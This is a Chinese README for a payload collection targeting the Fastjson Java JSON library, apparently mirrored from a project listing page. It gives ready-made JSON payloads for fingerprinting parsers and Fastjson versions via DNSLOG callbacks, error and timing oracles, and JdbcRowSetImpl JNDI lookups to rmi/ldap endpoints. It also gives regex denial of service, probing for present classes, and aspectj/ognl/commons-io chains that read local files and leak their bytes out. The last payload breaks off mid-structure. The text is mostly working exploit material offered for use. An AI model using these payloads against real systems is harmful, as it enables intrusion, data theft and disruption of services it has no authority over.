Fastjson
Fastjson姿势技巧集合
Install / Use
/learn @safe6Sec/FastjsonREADME
Fastjson
Fastjson姿势技巧集合
说明
- 本项目涉及的一些姿势和payload是从之前的随手记的笔记直接粘进来的,很多找不到出处了所以来源未贴出来,望师傅们见谅。
- 高版本的很多细节还有待更新。
- 浅蓝Kcon议题内容由@su18师傅整理
- 各版本复现payload来自@kezibei师傅,我原项目基础上加了maven依赖,做了一点代码修改。
各版本payload复现
https://github.com/safe6Sec/ShiroAndFastJson
判断是否用了fastjson
鉴别fastjson
DNSLOG
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}
根据解析变化
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}
根据响应状态
{"@type":"whatever"}
鉴别org.json
特殊字符
{a:'\r'}
鉴别gson
浮点类型精度丢失
{a:1.111111111111111111111111111}
注释符
#\r\n{a:1}
鉴别jackson
浮点类型精度丢失
{a:1.111111111111111111111111111}
注释符
{a:1}/*#aaaa
不支持单引号作为界定符
{'a':'b'}
多余的类成员
{"name":"a","age":18}
如果目标回显详细报错信息,稍微破坏一下json结构,比如多一个{,比如简简单单把{}变成a。就可以看出来到底是不是jackson。
如果目标不回显详细报错信息,而是只有一个500或者error,那么jackson不允许存在不相关的键值,fastjson允许这个特性就可以派上用场了。
比如原json如下。
{"pageNumber":1,"pageSize":1}
加上一个不相关的键值
{"pageNumber":1,"pageSize":1,"test":1}
jackson就会报错,fastjson则不会,而是和之前一模一样。
版本探测
无报错信息探测
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA
【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl"
}
}
【不报错】1.2.24 【报错】1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
延迟探测
原理同ssrf漏洞。请求本机已开放端口不延时,请求不开放的端口则延时。
fastjson 1.1.15-1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
通用payload,可用于parseObject的场景
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}
fastjson 1.2.9-1.2.47
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:808/badNameClass",
"autoCommit":true
}
}
通用payload,可用于parseObject的场景
{"@type":"com.alibaba.fastjson.JSONObject",{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:8088/badNameClass",
"autoCommit":true
}
}}""}
Fastjson 1.2.36 - 1.2.62
利用正则dos洞,进行探测。逐步加a,直到延迟为止
{
"regex":{
"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue":"aaaaaaaaaaaa!"
}
参考https://mp.weixin.qq.com/s/5mO1L5o8j_m6RYM6nO-pAA
异常回显
异常回显 fastjson 精确版本号
{
"@type": "java.lang.AutoCloseable"
dns探测
主要是利用各个类被加入黑名单的方式进行判断,但此方法准确性不高。
原理重点关注MiscCodec处理时会去nwe URL,然后通过后面的map#put触发计算key的hash。学习urldns链容易理解。
fastjson <1.2.43
{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
fastjson <1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}
fastjson <1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
精确探索autoType是否开启,开启后能打更多payload https://github.com/pen4uin/awesome-java-security/tree/main/alibaba%20fastjson
[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]
关键rce版本探测
1.2.24 版本,用上面的延时探测即可
1.2.47 版本
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "dnslog"
}
}
]
1.2.68版本
[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "dnslog"
}
}
]
1.2.80 版本探测 如果收到了两个 dns 请求,则证明使用了 1.2.83 版本 如果收到了一个 dns 请求,则证明使用了 1.2.80 版本
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "first.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "second.dnslog.cn"
}
}
}
]
探测环境
- org.springframework.web.bind.annotation.RequestMapping
- org.apache.catalina.startup.Tomcat
- groovy.lang.GroovyShell
- com.mysql.jdbc.Driver
- java.net.http.HttpClient
如果系统存在这个类,会返回一个类实例,如果不存在会返回 null
{
"z": {
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}
{
"z": {
"@type": "java.lang.Class",
"val": "java.net.http.HttpClient"
}
}
通过使用 Character 将报错回显在 message 中
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "com.mysql.jdbc.Driver"
}}
通过使用 DNSLOG 来探测依赖库
{"@type":"java.net.Inet4Address",
"val":{"@type":"java.lang.String"
{"@type":"java.util.Locale",
"val":{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale",
"language":{"@type":"java.lang.String"
{1:{"@type":"java.lang.Class","val":"groovy.lang.GroovyShell"}},
"country":"gv.su18.dnslog.pw"
}}
}
文件写,结合 commons-io 代码(stream 里面写 68 的 payload)
{"x":[{"@type":"java.lang.Exception","@type":"ognl.OgnlException",},{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}},{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":
}
}}]}
aspectj + ognl 任意文件读取 + DNSLOG 回显 打入白名单
[{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
},
{
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"aaa"
}
}]
aspectj + ognl 文件读取加 DNSLOG 回显
{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"},"b":
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}
commons-io + ognl + URLReader 单字节文件读取(回显情况观察数值)
{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}},"su16":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":
{
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/su18/Downloads/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}},"su17" : {"$ref":"$.su16.node.p.stream"},"su18":{
"$ref":"$.su17.bOM.bytes"}}
commons-io + ognl + URLReader 单字节文件读取(报错布尔)
[{"su15":{"@type":"java.lang.Exception","@type":"ognl.OgnlException",}},{"su16":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}}},
{"su17":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":
{
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/su18/Downloads/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}}},{"su18" : {"$ref":"$[2].su17.node.p.stream"}},{"su19":{
"$ref":"$[3].su18.bOM.bytes"}},{"su20":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod",
Related Skills
node-connect
341.8kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
84.6kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
341.8kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
commit-push-pr
84.6kCommit, push, and open a PR
Security Score
Audited on Mar 26, 2026
